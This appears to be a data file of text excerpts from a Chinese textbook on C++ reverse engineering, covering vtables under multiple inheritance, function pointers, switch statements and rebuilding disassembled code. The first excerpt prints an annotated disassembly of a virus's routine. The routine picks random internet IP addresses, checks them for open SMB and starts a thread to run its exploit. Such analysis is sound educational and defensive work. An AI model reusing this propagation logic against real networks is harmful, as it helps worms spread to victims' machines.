    {"text": "代码清单17-18 漏洞攻击代码片段5 scan_wan函数代码实现 .text:004078C7 call crypt_gen_random .text:004078CC xor edx, edx .text:004078CE mov ecx, 255 .text:004078D3 div ecx .text:004078D5 mov ebp, edx ; 产生随机数1%255 .text:004078F6 call crypt_gen_random .text:004078FB xor edx, edx .text:004078FD mov ecx, 255 .text:00407902 div ecx .text:00407904 mov [esp+128h+var_110], edx ; 产生随机数2%255 .text:00407908 call crypt_gen_random .text:0040790D xor edx, edx .text:0040790F mov ecx, 255 .text:00407914 div ecx .text:00407916 mov ebx, edx ; 产生随机数3%255 .text:00407918 call crypt_gen_random .text:0040791D xor edx, edx .text:0040791F mov ecx, 255 .text:00407924 div ecx ; 产生随机数4%255 .text:00407971 mov edx, [esp+128h+var_110] .text:00407975 push edi .text:00407976 push ebx .text:00407977 push edx .text:00407978 push ebp .text:00407979 lea eax, [esp+138h+Dest] .text:0040797D push offset aDDDD ; \"%d.%d.%d.%d\" .text:00407982 push eax ; Dest .text:00407983 call ds:sprintf ; 格式化随机的广域网IP地址 .text:00407989 add esp, 18h .text:0040798C lea ecx, [esp+128h+Dest] .text:00407990 push ecx ; cp .text:00407991 call inet_addr ; 转换地址 .text:00407996 mov esi, eax .text:00407998 push esi .text:00407999 call check_smb_service ; 检测SMB协议是否开启 .text:0040799E add esp, 4 .text:004079A1 test eax, eax .text:004079A3 jle short loc_4079E5 .text:004079A5 push 0 .text:004079A7 push 0 .text:004079A9 push esi .text:004079AA push offset start_attack ; 线程回调函数 .text:004079AF push 0 .text:004079B1 push 0 .text:004079B3 call ds:_beginthreadex ; 创建线程执行漏洞攻击代码 如代码清单17-18所示病毒随机广域网IP地址检测是否开启SMB协议如果开启则创建线程远程执行漏洞攻击代码。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第18章 反汇编代码的重建与编译 在逆向分析的基础上如何将目标分析程序中的反汇编代码提取出来重建并编译呢本章将带领读者解决这个问题找到目标程序中的关键代码并提取出来将其编译成一个新的程序。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第9章 结构体和类 在C++中结构体和类都具有构造函数、析构函数和成员函数两者只有一个区别结构体的访问控制默认为public而类的默认访问控制是private。对于C++中的结构体而言public、private、protected的访问控制都是在编译期进行检查当越权访问时编译过程中会检查此类错误并给予提示。编译成功后程序在执行过程中不会在访问控制方面做任何检查和限制。因此在反汇编中C++的结构体与类没有分别两者的原理相同只是类型名称不同本章使用的示例多为类。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 6.7 本章小结 本章讨论了函数的内部实现机制。在软件开发过程中通常以面向对象的方式设计程序结构然后由程序员实现每个对象的成员函数。编译器产生二进制代码后面向对象变成了模块化的代码因此在分析人员眼中这些都是以函数为单位的代码块本章的内容是逆向分析的基础至于对C++中成员函数、虚函数等的分析将在后续章节逐一展开。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 13.6 本章小结 通过本章的学习读者可以掌握VS编译器对C++异常处理和分派过程的内幕。在此基础上我们总结出了还原try、throw、catch等语句的常用办法。大家不用理会C++异常处理的实现直接阅读13.4节识别异常处理的要点也能完成对VS编译器所编译的程序的分析。但是各个编译器对C++异常处理的实现不同在遇到其他编译器时需要重新分析编译器对C++异常处理的实现细节从而总结出分析方法和规律。 本章是本书理论部分的最后一章从第14章开始将重点讲解实例。本章的内容担负着承上启下的重任笔者建议大家先泛读本章然后重点学习并实践13.4节的内容最后在13.1节至13.3节的指导下上机分析并调试VS编译器产生的C++异常处理和分派代码即分析_CxxFrameHandler函数的实现过程。这样一方面可以加深对本章的理解另一方面也为后面的实战做了铺垫何乐而不为呢 最后需要解释一下为什么本书没有讲解C++特性中的模板以及运算符重载等方面的内容。原因很简单因为模板和运算符重载没有还原依据。对于模板函数和模板类编译器在生成目标代码前将它们按参数的情况生成多个声明和定义C++称之为“模板实例化”然后才进行编译。对于运算符重载其行为和函数调用完全一致。本章x64异常相关参考资料来自微软MSDN网址为 https://docs.microsoft.com/zh-cn/cpp/build/exception-handling-x64?view=vs-2019 。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 12.5 本章小结 本章讲解了对象之间发生继承和派生关系后的内存布局情况以及相关的处理和操作。请读者结合C++语法上机进行验证以熟悉各种内存布局。因为对象之间的关系结构不同所以它们的内存布局、构造函数、析构函数都有差别这些是编译器作者为了实现C++的语法而设计的内存结构和执行代码。在其他的编译环境下内存结构和相关的处理会有差异因为不同的C++编译器都需要满足C++的语法标准所以差异也不会太大。要分析由其他编译器创建的程序可以先编写一些简单的语法示例类似本章体现各个语法知识点的示例然后用其他编译器编译通过反汇编观察其内存布局、构造函数和析构函数的处理流程。 思考题答案 为什么编译器要在子类析构函数中再次将虚表设置为子类虚表呢这个操作非常必要因为编译器无法预知这个子类以后是否会被其他类继承如果被继承原来的子类就成了父类在执行析构函数时会先执行当前对象的析构函数然后向祖父类的方向按继承线路逐层调用各类析构函数当前对象的析构函数开始执行时其虚表也是当前对象的所以执行到父类的析构函数时虚表必须改写为父类的虚表。编译器产生的类实现代码必须能够适应将来不可预知的对象关系故在每个对象的析构函数内要加入自己虚表的代码。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 18.1 重建反汇编代码 重建反汇编代码是先将目标程序中的关键代码提取出来然后将其组建成汇编代码。有了IDA这个强大的分析工具要做到这一点非常容易。先准备好示例程序如图18-1所示。 图18-1 示例程序 本例是一个控制面板程序为了便于学习程序的功能非常简单只是将输入字符串中的小写字符转换成大写字符。本节的任务是将这段转换字符的代码提取出来然后组建成可编译的汇编代码。 首先使用IDA打开分析文件ToUpper.exe文件在随书文件中查看功能代码所在位置如代码清单18-1所示。 代码清单18-1 分析ToUpper程序IDA分析 00401030 _main proc near ; main()函数入口 00401030 00401030 Text = byte ptr -100h ; 局部变量以及参数标号定义 00401030 var_FF = byte ptr -0FFh 00401030 argc = dword ptr 4 00401030 argv = dword ptr 8 00401030 envp = dword ptr 0Ch 00401030 sub esp, 100h ; 局部变量空间申请 00401036 push edi 00401037 mov ecx, 3Fh 0040103C xor eax, eax 0040103E lea edi, [esp+104h+var_FF] 00401042 mov [esp+104h+Text], 0 ; 初始化数组为0 00401047 push offset aIFIOg ; \"请输入字符串\\n\" 0040104C rep stosd 0040104E stosw 00401050 stosb 00401051 call _printf 00401056 lea eax, [esp+108h+Text] 0040105A push eax 0040105B push offset Format ; \"%255s\" 00401060 call _scanf 00401065 lea ecx, [esp+110h+Text] 00401069 push ecx 0040106A call sub_401000 ; 转换函数 0040106F add esp, 10h 00401072 lea edx, [esp+104h+Text] 00401076 push 0 ; uType 00401078 push offset Caption ;“转换结果” 0040107D push edx ; lpText 0040107E push 0 ; hWnd 00401080 call ds:MessageBoxA ; 部分代码分析略 0040108F _main endp 通过分析代码清单18-1我们找到了要提取的代码的首地址它在地址标号sub_401000处。进入此地址进一步分析如代码清单18-2所示。 代码清单18-2 sub_401000处的分析IDA分析 sub_401000 proc near ; 函数入口 00401000 arg_0 = dword ptr 4 ; 参数标号定义此函数只有一个参数 00401000 00401000 push esi 00401001 mov esi, [esp+4+arg_0] 00401005 push edi 00401006 mov edi, esi 00401008 or ecx, 0FFFFFFFFh 0040100B xor eax, eax 0040100D repne scasb 0040100F not ecx 00401011 dec ecx ; 这里是一段内联函数strlen 00401012 xor edx, edx 00401014 test ecx, ecx 00401016 jle short loc_40102D 00401018 loc_401018: ; 地址标号 00401018 mov al, [edx+esi] 0040101B cmp al, 61h 0040101D jl short loc_401028 0040101F cmp al, 7Ah 00401021 jg short loc_401028 00401023 sub al, 20h 00401025 mov [edx+esi], al loc_401028: ; 地址标号 00401028 inc edx 00401029 cmp edx, ecx 0040102B jl short loc_401018 loc_40102D: ; 地址标号 0040102D pop edi 0040102E pop esi 0040102F retn 0040102F sub_401000 endp 代码清单18-2为小写字符转换成大写字符的实现代码因为本节要讲解的内容为反汇编代码的重建所以不再对代码清单进行深入分析。直接复制并粘贴代码清单18-2中的反汇编代码将其修改为合法的汇编代码如代码清单18-3所示。 代码清单18-3 重建后的汇编代码-汇编源码 .486 ; 根据代码清单18-1与代码清单18-2的分析函数的调用方式为c调用对于调用约定的 ; 判断非常重要这会直接影响程序的运行结果以及栈的平衡 .model flat, c option casemap :none .code ; 代码段定义 ToUpper proc arg_0:DWORD ; 函数入口 push esi mov esi, arg_0 ; 语法修正 push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx xor edx, edx test ecx, ecx jle short loc_40102D loc_401018: ; 地址标号 mov al, [edx+esi] cmp al, 61h jl short loc_401028 cmp al, 7Ah jg short loc_401028 sub al, 20h mov [edx+esi], al loc_401028: ; 地址标号 inc edx cmp edx, ecx jl short loc_401018 loc_40102D: ; 地址标号 pop edi pop esi ret ToUpper endp end 代码清单18-3在代码清单18-2的基础上修正了语法错误这样一来一段简单的反汇编代码重建就完成了。 读者在重建反汇编代码时应注意所分析代码的调用约定对函数的调用约定判断是重建反汇编代码的重点。一旦判断错误使用了错误的调用约定极有可能影响运行结果或破坏栈的平衡使程序无法正常运行。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 12.2 多重继承 12.1节讲解了类与类之间的关系但涉及的派生类都只有一个父类。"},
    {"text": "当子类拥有多个父类如类C继承自类A同时也继承自类B时便构成了多重继承关系。 在多重继承的情况下子类继承的父类变为多个但其结构与单一继承相似。"},
    {"text": "在12.1节中子类继承自同一个父类其内存中首先存放的是父类的数据成员。 当子类产生多重继承时父类数据成员在内存中又该如何存放呢我们通过代码清单12-8看看多重继承类的定义。"},
    {"text": "代码清单12-8 多重继承类的定义C++源码 #include <stdio.h> class Sofa { public: Sofa() { color = 2; } virtual ~Sofa() { // 沙发类虚析构函数 printf(\"virtual ~Sofa()\\n\"); } virtual int getColor() { // 获取沙发颜色 return color; } virtual int sitDown() { // 沙发可以坐下休息 return printf(\"Sit down and rest your legs\\r\\n\"); } protected: int color; // 沙发类成员变量 }; //定义床类 class Bed { public: Bed() { length = 4; width = 5; } virtual ~Bed() { //床类虚析构函数 printf(\"virtual ~Bed()\\n\"); } virtual int getArea() { //获取床面积 return length * width; } virtual int sleep() { //床可以用来睡觉 return printf(\"go to sleep\\r\\n\"); } protected: int length; //床类成员变量 int width; }; //子类沙发床定义派生自Sofa类和Bed类 class SofaBed : public Sofa, public Bed{ public: SofaBed() { height = 6; } virtual ~SofaBed(){ //沙发床类的虚析构函数 printf(\"virtual ~SofaBed()\\n\"); } virtual int sitDown() { //沙发可以坐下休息 return printf(\"Sit down on the sofa bed\\r\\n\"); } virtual int sleep() { //床可以用来睡觉 return printf(\"go to sleep on the sofa bed\\r\\n\"); } virtual int getHeight() { return height; } protected: int height; }; int main(int argc, char* argv[]) { SofaBed sofabed; return 0; } 代码清单12-8中定义了两个父类沙发类和床类通过多重继承以它们为父类派生出沙发类它们拥有各自的属性及方法。"},
    {"text": "main()函数中定义了子类SofaBed的对象其中包含两个父类的数据成员此时SofaBed在内存中占多少字节呢如图12-7所示为对象SofaBed占用内存空间的大小。 图12-7 对象SofaBed占用内存空间的大小 根据图12-7所示对象SofaBed占用的内存空间大小为0x18字节。"},
    {"text": "图12-9 子类对象的虚表指针对应的虚表信息 图12-9中显示了Debug下两个虚表指针指向的虚表信息。 查看图12-9中两个虚表信息会发现这两个虚表保存了子类的虚函数与父类的虚函数父类的这些虚函数都是子类中没有实现的。"},
    {"text": "由此可见编译器制作了两份子类SofaBed的虚函数。 为什么会产生两份虚函数呢我们先从对象SofaBed的构造入手循序渐进地分析过程如代码清单12-9所示。"},
    {"text": "代码清单12-9 对象SofaBed的构造过程Debug版 // 源码参考见代码清单12-8 //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 1Ch 00401006 lea ecx, [ebp-1Ch] ;传递this指针 00401009 call sub_401090 ;调用构造函数 0040100E mov dword ptr [ebp-4], 0 00401015 lea ecx, [ebp-1Ch] ;传递this指针 00401018 call sub_401130 ;调用析构函数 0040101D mov eax, [ebp-4] 00401020 mov esp, ebp 00401022 pop ebp 00401023 retn 00401090 push ebp ;构造函数 00401091 mov ebp, esp 00401093 push ecx 00401094 mov [ebp-4], ecx 00401097 mov ecx, [ebp-4] ;以对象首地址作为this指针 0040109A call sub_401060 ;调用沙发父类的构造函数 0040109F mov ecx, [ebp-4] 004010A2 add ecx, 8 ;将this指针调整到第二个虚表指针的地址处 004010A5 call sub_401030 ;调用床父类的构造函数 004010AA mov eax, [ebp-4] ;获取对象的首地址 004010AD mov dword ptr [eax], offset ??_7SofaBed@@6B@ ;设置第一个虚表指针 004010B3 mov ecx, [ebp-4] ;获取对象的首地址 004010B6 mov dword ptr [ecx+8], offset ??_7SofaBed@@6B@_0 ;设置第二个虚表指针 004010BD mov edx, [ebp-4] 004010C0 mov dword ptr [edx+14h], 6 004010C7 mov eax, [ebp-4] 004010CA mov esp, ebp 004010CC pop ebp 004010CD retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 58h 000000014000100D lea rcx, [rsp+28h] ;传递this指针 0000000140001012 call sub_1400010B0 ;调用构造函数 0000000140001017 mov dword ptr [rsp+20h], 0 000000014000101F lea rcx, [rsp+28h] ;传递this指针 0000000140001024 call sub_140001170 ;调用析构函数 0000000140001029 mov eax, [rsp+20h] 000000014000102D add rsp, 58h 0000000140001031 retn 00000001400010B0 mov [rsp+8], rcx 00000001400010B5 sub rsp, 28h 00000001400010B9 mov rcx, [rsp+30h] ;以对象首地址作为this指针 00000001400010BE call sub_140001080 ;调用沙发父类的构造函数 00000001400010C3 mov rax, [rsp+30h] 00000001400010C8 add rax, 10h 00000001400010CC mov rcx, rax ;将this指针调整到第二个虚表指针地址处 00000001400010CF call sub_140001040 ;调用床父类的构造函数 00000001400010D4 mov rax, [rsp+30h] ;获取对象的首地址 00000001400010D9 lea rcx, ??_7SofaBed@@6B@ 00000001400010E0 mov [rax], rcx ;设置第一个虚表指针 00000001400010E3 mov rax, [rsp+30h] ;获取对象的首地址 00000001400010E8 lea rcx, ??_7SofaBed@@6B@_0 00000001400010EF mov [rax+10h], rcx ;设置第二个虚表指针 00000001400010F3 mov rax, [rsp+30h] 00000001400010F8 mov dword ptr [rax+20h], 6 ;height=6 00000001400010FF mov rax, [rsp+30h] 0000000140001104 add rsp, 28h 0000000140001108 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 在代码清单12-9的子类构造中根据继承关系的顺序先调用父类Sofa的构造函数。"},
    {"text": "在调用另一个父类Bed时并不是直接将对象的首地址作为this指针传递而是向后调整了父类Sofa的长度以调整后的地址值作为this指针最后再调用父类Bed的构造函数。"},
    {"text": "因为有了两个父类所以子类在继承时也将它们的虚表指针一起继承了过来也就有了两个虚表指针。 可见在多重继承中子类虚表指针的个数取决于继承的父类的个数有几个父类便会出现几个虚表指针虚基类除外详见12.3节的讲解。 这些虚表指针在将子类对象转换成父类指针时使用每个虚表指针对应着一个父类如代码清单12-10所示。"},
    {"text": "代码清单12-10 多重继承子类对象转换为父类指针 //C++源码 int main(int argc, char* argv[]) { SofaBed sofabed; Sofa *sofa = &sofabed; Bed *bed = &sofabed; return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 28h 00401006 lea ecx, [ebp-28h] ;传递this指针 00401009 call sub_4010B0 ;调用构造函数 0040100E lea eax, [ebp-28h] 00401011 mov [ebp-0Ch], eax ;直接以首地址转换为父类指针sofa=&sofabed 00401014 lea ecx, [ebp-28h] 00401017 test ecx, ecx 00401019 jz short loc_401026 ;检查对象首地址 0040101B lea edx, [ebp-28h] ;edx=this 0040101E add edx, 8 00401021 mov [ebp-4], edx ;即this+8调整为Bed的指针bed=&sofabed 00401024 jmp short loc_40102D 00401026 mov dword ptr [ebp-4], 0 0040102D mov eax, [ebp-4] 00401030 mov [ebp-10h], eax 00401033 mov dword ptr [ebp-8], 0 0040103A lea ecx, [ebp-28h] ;传递this指针 0040103D call sub_401150 ;调用析构函数 00401042 mov eax, [ebp-8] 00401045 mov esp, ebp 00401047 pop ebp 00401048 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 78h 000000014000100D lea rcx, [rsp+40h] ;传递this指针 0000000140001012 call sub_1400010E0 ;调用构造函数 0000000140001017 lea rax, [rsp+40h] 000000014000101C mov [rsp+30h], rax ;直接以首地址转换为父类指针sofa=&sofabed 0000000140001021 lea rax, [rsp+40h] 0000000140001026 test rax, rax 0000000140001029 jz short loc_14000103B ;检查对象首地址 000000014000102B lea rax, [rsp+40h] 0000000140001030 add rax, 10h 0000000140001034 mov [rsp+28h], rax ;即this+16调整为Bed的指针bed=&sofabed 0000000140001039 jmp short loc_140001044 000000014000103B mov qword ptr [rsp+28h], 0 0000000140001044 mov rax, [rsp+28h] 0000000140001049 mov [rsp+38h], rax 000000014000104E mov dword ptr [rsp+20h], 0 0000000140001056 lea rcx, [rsp+40h] ;传递this指针 000000014000105B call sub_1400011A0 ;调用析构函数 0000000140001060 mov eax, [rsp+20h] 0000000140001064 add rsp, 78h 0000000140001068 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 在代码清单12-10中在转换Bed指针时会调整首地址并跳过第一个父类占用的空间。"},
    {"text": "代码清单12-11 多重继承的类对象析构函数Debug版 //x86_vs对应汇编代码讲解 00401130 push ebp ;析构函数 00401131 mov ebp, esp 00401133 push ecx 00401134 mov [ebp-4], ecx 00401137 mov eax, [ebp-4] ;将第一个虚表设置为SofaBed的虚表 0040113A mov dword ptr [eax], offset ??_7SofaBed@@6B@ 00401140 mov ecx, [ebp-4] ;将第二个虚表设置为SofaBed的虚表 00401143 mov dword ptr [ecx+8], offset ??_7SofaBed@@6B@_0 0040114A push offset aVirtualSofabed ;参数1\"virtual ~SofaBed()\\n\" 0040114F call sub_401330 ;调用printf函数 00401154 add esp, 4 00401157 mov ecx, [ebp-4] 0040115A add ecx, 8 ;调整this指针到Bed父类this+8 0040115D call sub_4010D0 ;调用父类Bed的析构函数 00401162 mov ecx, [ebp-4] ;this指针无需调整 00401165 call sub_401100 ;调用父类Sofa的析构函数 0040116A mov esp, ebp 0040116C pop ebp 0040116D retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001170 mov [rsp+8], rcx ;析构函数 0000000140001175 sub rsp, 28h 0000000140001179 mov rax, [rsp+30h] 000000014000117E lea rcx, ??_7SofaBed@@6B@ ;const SofaBed::`vftable' 0000000140001185 mov [rax], rcx ;将第一个虚表设置为SofaBed的虚表 0000000140001188 mov rax, [rsp+30h] 000000014000118D lea rcx, ??_7SofaBed@@6B@_0 ;const SofaBed::`vftable' 0000000140001194 mov [rax+10h], rcx ;将第二个虚表设置为SofaBed的虚表 0000000140001198 lea rcx, aVirtualSofabed ;参数1\"virtual ~SofaBed()\\n\" 000000014000119F call sub_1400013B0 ;调用printf函数 00000001400011A4 mov rax, [rsp+30h] 00000001400011A9 add rax, 10h 00000001400011AD mov rcx, rax ;调整this指针到Bed父类this+16 00000001400011B0 call sub_140001110 ;调用父类Bed的析构函数 00000001400011B5 mov rcx, [rsp+30h] ;this指针无需调整 00000001400011BA call sub_140001140 ;调用父类Sofa的析构函数 00000001400011BF add rsp, 28h 00000001400011C3 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 代码清单12-11演示了对象SofaBed的析构过程。"},
    {"text": "在对父类进行析构时需要设置this指针用于调用父类的析构函数。 因为具有多个父类所以在析构的过程中调用各个父类的析构函数时传递的首地址将有所不同编译器会根据每个父类在对象中占用的空间位置相应地传入各个父类部分的首地址作为this指针。"},
    {"text": "转换父类指针时需要调整到对象的首地址。 构造时需要调用多个父类构造函数。 构造时先构造继承列表中的第一个父类然后依次调用到最后一个继承的父类构造函数。 析构时先析构自身然后以构造函数相反的顺序调用所有父类的析构函数。"},
    {"text": "当类中无虚函数时整个类对象内存结构和多重继承完全一样可酌情还原。 当父类或成员对象存在虚函数时通过观察虚表指针的位置和构造、析构函数中填写虚表指针的数目、顺序及目标地址还原继承或成员关系。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 8.8 函数指针 第6章介绍了函数的调用过程通过call指令跳转到函数首地址处执行函数内的指令代码。"},
    {"text": "返回值类型 ([ 调用约定可选 ] * 函数指针变量名称 ) ( 参数信息 ) 函数指针的类型由返回值、参数信息、调用约定组成它们决定了函数指针在函数调用过程中参数的传递、返回值信息以及如何平衡栈顶。"},
    {"text": "代码清单8-16 函数指针与函数Debug版 // C++ 源码 #include <stdio.h> void _cdecl show() { //函数定义 printf(\"show\\n\"); } int main(int argc, char* argv[]) { void (_cdecl *pfn)(void) = show; //函数指针赋值 pfn(); //使用函数指针调用函数 show(); //直接调用函数 return 0; } //x86_vs对应汇编代码讲解 00401020 push ebp 00401021 mov ebp, esp 00401023 push ecx 00401024 mov dword ptr [ebp-4], offset sub_401000 ;pfn=show函数名称即为函数首地址这是一个常量地址值 0040102B call dword ptr [ebp-4] ;pfn()间接调用函数 0040102E call sub_40100 ;show()直接调用函数 00401033 xor eax, eax 00401035 mov esp, ebp 00401037 pop ebp 00401038 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001020 mov [rsp+10h], rdx 0000000140001025 mov [rsp+8], ecx 0000000140001029 sub rsp, 38h 000000014000102D lea rax, sub_140001000 0000000140001034 mov [rsp+20h], rax ;pfn=show函数名称即为函数首地址这是一个常量地址值 0000000140001039 call qword ptr [rsp+20h] ;pfn()间接调用函数 000000014000103D call sub_140001000 ;show()直接调用函数 0000000140001042 xor eax, eax 0000000140001044 add rsp, 38h 0000000140001048 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 代码清单8-16演示了函数指针的赋值和调用过程与函数调用的最大区别在于函数是直接调用的而函数指针需要取出指针变量中保存的地址数据间接调用函数。"},
    {"text": "函数指针是比较特殊的指针类型因为其保存的地址数据为代码段内的地址信息而非数据区所以不存在地址偏移的情况。 指针的操作非常灵活为了防止函数指针发生错误的地址偏移C++编译器在编译期间对其进行检查不允许对函数指针类型变量执行加法和减法等没有意义的运算。 在代码清单8-16中函数指针类型的参数和返回值都为void类型只能存储相同类型的函数地址否则无法传递函数的参数、返回值无法正确平衡栈顶。 修改代码清单8-16分析带参数与返回信息的函数指针类型如代码清单8-17所示。 代码清单8-17 带参数与返回值的函数指针Debug版 // C++ 源码 #include <stdio.h> int _stdcall show(int n) { //函数定义 printf(\"show : %d\\n\", n); return n; } int main(int argc, char* argv[]) { int (_stdcall *pfn)(int) = show; //函数指针定义并初始化 int ret = pfn(5); //使用函数指针调用函数并获取返回值 printf(\"ret = %d\\n\", ret); return 0; } //x86_vs对应汇编代码讲解 00401020 push ebp 00401021 mov ebp, esp 00401023 sub esp, 8 00401026 mov dword ptr [ebp-4], offset sub_401000 ;初始化过程没有变换仍然为获取函数首地址并保存 0040102D push 5 ;压入参数5 0040102F call dword ptr [ebp-4] ;获取函数指针中地址间接调用函数 00401032 mov [ebp-8], eax ;接收函数返回值数据 00401035 mov eax, [ebp-8] 00401038 push eax 00401039 push offset aRetD ;\"ret = %d\\n\" 0040103E call sub_401090 ;调用printf函数 00401043 add esp, 8 00401046 xor eax, eax 00401048 mov esp, ebp 0040104A pop ebp 0040104B retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001030 mov [rsp+10h], rdx 0000000140001035 mov [rsp+8], ecx 0000000140001039 sub rsp, 38h 000000014000103D lea rax, sub_140001000 ;初始化过程没有变换仍然为获取函数首地址 ;并保存 0000000140001044 mov [rsp+28h], rax 0000000140001049 mov ecx, 5 ;传递参数5 000000014000104E call qword ptr [rsp+28h];获取函数指针中地址间接调用函数 0000000140001052 mov [rsp+20h], eax ;接收函数返回值数据 0000000140001056 mov edx, [rsp+20h] 000000014000105A lea rcx, aRetD ;\"ret = %d\\n\" 0000000140001061 call sub_1400010D0 ;调用printf函数 0000000140001066 xor eax, eax 0000000140001068 add rsp, 38h 000000014000106C retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 代码清单8-17中函数指针的调用只是多了传递参数和接收返回值其他内容和代码清单8-16中的函数指针并无实质区别。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 5.4 switch的真相 switch是比较常用的多分支结构使用起来也非常方便并且效率高于if…else if多分支结构。 同样是多分支结构switch是如何进行比较并选择分支的它和if…else if的处理过程一样吗下面我们慢慢揭开它的神秘面纱。"},
    {"text": "代码清单5-8 switch转换if…else…的C++代码 //C++源码 #include <stdio.h> int main(int argc, char* argv[]) { int n = 1; scanf(\"%d\", &n); switch(n) { case 1: printf(\"n == 1\"); break; case 3: printf(\"n == 3\"); break; case 100: printf(\"n == 100\"); break; } return 0; } 代码清单5-8中的case语句块只有3条也就是只有3条分支。"},
    {"text": "代码清单5-9 switch转换if…else…Debug版 //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 8 00401006 mov dword ptr [ebp-8], 1 0040100D lea eax, [ebp-8] 00401010 push eax 00401011 push offset unk_417160 00401016 call sub_401130 0040101B add esp, 8 0040101E mov ecx, [ebp-8] 00401021 mov [ebp-4], ecx 00401024 cmp dword ptr [ebp-4], 1 00401028 jz short loc_401038 ;如果n==1跳转到case1语句代码块 0040102A cmp dword ptr [ebp-4], 3 0040102E jz short loc_401047 ;如果n==3跳转到case3语句代码块 00401030 cmp dword ptr [ebp-4], 64h 00401034 jz short loc_401056 ;如果n==100跳转到case100语句代码块 00401036 jmp short loc_401063 ;跳转switch结束代码块 { 00401038 push offset aN1 0040103D call sub_4010F0 00401042 add esp, 4 ;case1语句代码块 } 00401045 jmp short loc_401063 ;跳转switch结束代码块 { 00401047 push offset aN3 0040104C call sub_4010F0 00401051 add esp, 4 ;case3语句代码块 } 00401054 jmp short loc_401063 ;跳转switch结束代码块 { 00401056 push offset aN100 0040105B call sub_4010F0 00401060 add esp, 4 ;case100语句代码块 } 00401063 xor eax, eax ;switch结束代码块 00401065 mov esp, ebp 00401067 pop ebp 00401068 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000000401550 push rbp 0000000000401551 mov rbp, rsp 0000000000401554 sub rsp, 30h 0000000000401558 mov [rbp+10h], ecx 000000000040155B mov [rbp+18h], rdx 000000000040155F call __main 0000000000401564 mov dword ptr [rbp-4], 1 000000000040156B lea rax, [rbp-4] 000000000040156F mov rdx, rax 0000000000401572 lea rcx, Format ;\"%d\" 0000000000401579 call scanf 000000000040157E mov eax, [rbp-4] 0000000000401581 cmp eax, 3 0000000000401584 jz short loc_40159E ;如果n==3跳转到case3语句代码块 0000000000401586 cmp eax, 64h 0000000000401589 jz short loc_4015AC ;如果n==100跳转到case100语句代码块 000000000040158B cmp eax, 1 000000000040158E jnz short loc_4015B9 ;如果n!=1跳转到switch结束代码块 { 0000000000401590 lea rcx, aN1 0000000000401597 call printf ;case 1语句块代码 } 000000000040159C jmp short loc_4015B9 ;跳转到switch结束代码块 { 000000000040159E lea rcx, aN3 00000000004015A5 call printf ;case 3语句块代码 } 00000000004015AA jmp short loc_4015B9 ;跳转到switch结束代码块 { 00000000004015AC lea rcx, aN100 00000000004015B3 call printf 00000000004015B8 nop ;case 100语句块代码 } 00000000004015B9 mov eax, 0 ;switch结束代码块 00000000004015BE add rsp, 30h 00000000004015C2 pop rbp 00000000004015C3 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 从对代码清单5-9的分析中得出switch语句使用了3次条件跳转指令分别与1、3、100进行了比较。"},
    {"text": "先看看if…else if结构产生的代码如代码清单5-10所示。 代码清单5-10 if…else if结构Debug版 //C++源码 #include <stdio.h> int main(int argc, char* argv[]) { int n = 1; scanf(\"%d\", &n); if (n == 1) { printf(\"n == 1\"); else if (n == 3) printf(\"n == 3\"); else if (n == 100) printf(\"n == 100\"); return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 push ecx 00401004 mov dword ptr [ebp-4], 1 0040100B lea eax, [ebp-4] 0040100E push eax 0040100F push offset unk_417160 00401014 call sub_401120 00401019 add esp, 8 0040101C cmp dword ptr [ebp-4], 1 00401020 jnz short loc_401031 ;如果n!=1跳转到else_if语句代码块 { 00401022 push offset aN1 00401027 call sub_4010E0 0040102C add esp, 4 ;if语句代码块 } 0040102F jmp short loc_401059 